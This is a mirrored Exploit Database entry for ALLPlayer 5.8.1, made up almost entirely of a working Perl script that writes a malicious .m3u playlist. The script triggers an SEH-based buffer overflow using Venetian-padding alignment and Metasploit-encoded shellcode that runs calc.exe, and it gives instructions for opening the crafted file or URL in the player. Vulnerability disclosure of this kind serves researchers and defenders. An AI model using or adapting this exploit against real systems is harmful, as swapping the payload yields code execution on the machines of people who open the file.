ALLPlayer 5.8.1 – ‘.m3u’ Local Buffer Overflow (SEH)

• Exploit Database
• 97 阅读

• 作者： Gabor Seljan
  日期： 2014-03-03
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/32041/

• #-----------------------------------------------------------------------------#
  # Exploit Title: ALLPlayer 5.8.1 - (.m3u) Buffer Overflow (SEH) #
  # Date: Mar 1 2014#
  # Exploit Author: Gabor Seljan#
  # Software Link: http://www.allplayer.org/download/allplayer#
  # Version: 5.8.1#
  # Tested on: Windows 7 SP1#
  #-----------------------------------------------------------------------------#
  
  # This application is still vulnerable to a buffer overflow, caused by improper
  # bounds checking of an URL given via menu or placed inside an M3U file.
  # 
  # Credit to previous exploits:
  # + http://www.exploit-db.com/exploits/29798/ by Mike Czumak
  # + http://www.exploit-db.com/exploits/28855/ by metacom
  
  #!/usr/bin/perl
  
  use strict;
  use warnings;
  
  my $filename = "sploit.m3u";
  
  my $junk1 = "\x41" x 301; # Offset to SEH
  my $nSEH= "\x61\x50"; # POPAD # Venetian padding
  my $SEH = "\x50\x45"; # POP POP RET from ALLPlayer.exe
  my $junk2 = "\x42" x 700;
   
  my $align = "\x53". # PUSH EBX
  "\x6e". # Venetian padding
  "\x58". # POP EAX
  "\x6e". # Venetian padding
  "\x05\x14\x11". # ADD EAX,0x11001400
  "\x6e". # Venetian padding
  "\x2d\x13\x11". # SUB EAX,0x11001300
  "\x6e". # Venetian padding
  "\x50". # PUSH EAX
  "\x6e". # Venetian padding
  "\xc3"; # RET
  
  my $nops = "\x71" x 109;
  
  # msfpayload windows/exec cmd=calc.exe R
  # msfencode -e x86/unicode_mixed BufferRegister=EAX
  my $shellcode = "PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAh".
  "AAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBkLyXTI9pKPip".
  "S02iwuP1z2RDRkb2nP2kNrjlDKnrN4BkD2NHJofWPJLfNQyonQGPDlmloqSLyrNLmPy16ozmYqY7".
  "JBzPB2R72kqBLPrkMrmlZaj0Bka0d83UGP1dOZYqvpb04Ka8mH4KR8kpYqyCHcMlQ9DKmdDKM18V".
  "nQyolqEpdl91FojmzahGNXk01eYd9s3M8xMk1mmTbUYRr8dKNxldKQWcRFRklLpKBkaHKl9qwc2k".
  "itRk9qFp3Yq4O4mT1K1Ks1aI0Zb1KOGpR8QOPZrkMBJKTFqMRJkQBm3UgIipYpypNp38matKpoe7".
  "ioyE7KJP85vBQF0heVCeEm3mio7eMlYvsLiz3PikiP45ze7KPGJs1bpoBJKP0SkOiEqSaQBL33ln".
  "s5sH2E9pAA";
   
  my $sploit = $junk1.$nSEH.$SEH.$align.$nops.$shellcode.$junk2;
  
  open(FILE, ">$filename") || die "[-]Error:\n$!\n";
  print FILE "http://$sploit";
  close(FILE);
  
  print "\nExploit file created successfully [$filename]!\n\n";
  print "You can either:\n";
  print "\t1. Open the created $filename file directly with ALLPlayer\n";
  print "\t2. Open the crafted URL via menu by Open movie/sound -> Open URL\n\n";
  print "http://$sploit\n";
  

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